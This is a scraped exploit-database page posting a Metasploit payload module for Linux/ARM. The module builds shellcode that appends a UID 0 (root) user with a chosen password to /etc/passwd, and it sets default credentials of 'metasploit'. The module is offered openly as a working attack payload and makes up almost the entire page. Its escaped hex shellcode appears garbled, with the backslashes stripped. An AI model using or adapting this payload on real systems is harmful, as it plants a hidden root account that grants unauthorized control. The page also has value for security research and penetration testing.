[linux/x86] - linux/ARM (Meta) Create a New User with UID 0
Posted on 09 December 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>linux/ARM (Meta) Create a New User with UID 0 | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='linux/ARM (Meta) Create a New User with UID 0 by Jonathan Salwan in linux/x86 | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>============================================= linux/ARM (Meta) Create a New User with UID 0 ============================================= # Exploit Title: Linux/ARM - Create a new user with UID 0 (MSF) # Date: 2010-11-25 # Author: Jonathan Salwan - twitter @shell_storm # Tested on: ARM926EJ-S rev 5 (v5l) # Issue link: https://metasploit.com/redmine/issues/3254 ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' ### # # AddUser # ------- # # Adds a UID 0 user to /etc/passwd. # ### module Metasploit3 include Msf::Payload::Single include Msf::Payload::Linux def initialize(info = {}) super(merge_info(info, 'Name' => 'Linux Add User', 'Version' => '???', 'Description' => 'Create a new user with UID 0', 'Author' => [ 'Jonathan Salwan' ], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => ARCH_ARMLE, 'Privileged' => true)) # Register adduser options register_options( [ OptString.new('USER', [ true, "The username to create", "metasploit" ]), OptString.new('PASS', [ true, "The password for this user", "metasploit" ]), OptString.new('SHELL', [ false, "The shell for this user", "/bin/sh" ]), ], self.class) end # # Dynamically builds the adduser payload based on the user's options. # def generate_stage user = datastore['USER'] || 'metasploit' pass = datastore['PASS'] || 'metasploit' shell = datastore['SHELL'] || '/bin/sh' str = "#{user}:#{pass.crypt('Az')}:0:0::/:#{shell} " strl1 = [ (str.length)+52 ].pack('C*') strl2 = [ str.length ].pack('C*') pwdir = "/etc/passwd" payload = "x05x50x45xe0x01x50x8fxe2x15xffx2fxe1" + "x78x46"+ strl1 + "x30xffx21xffx31xffx31" + "xffx31x45x31xdcx22xc8x32x05x27x01xdf" + "x80x46x41x46x08x1cx79x46x18x31xc0x46" + strl2 + "x22x04x27x01xdfx41x46x08x1cx06" + "x27x01xdfx1ax49x08x1cx01x27x01xdf" + str + pwdir end end # <a href='http://1337db.com/'>1337db.com</a> [2010-12-09]</pre></body></html>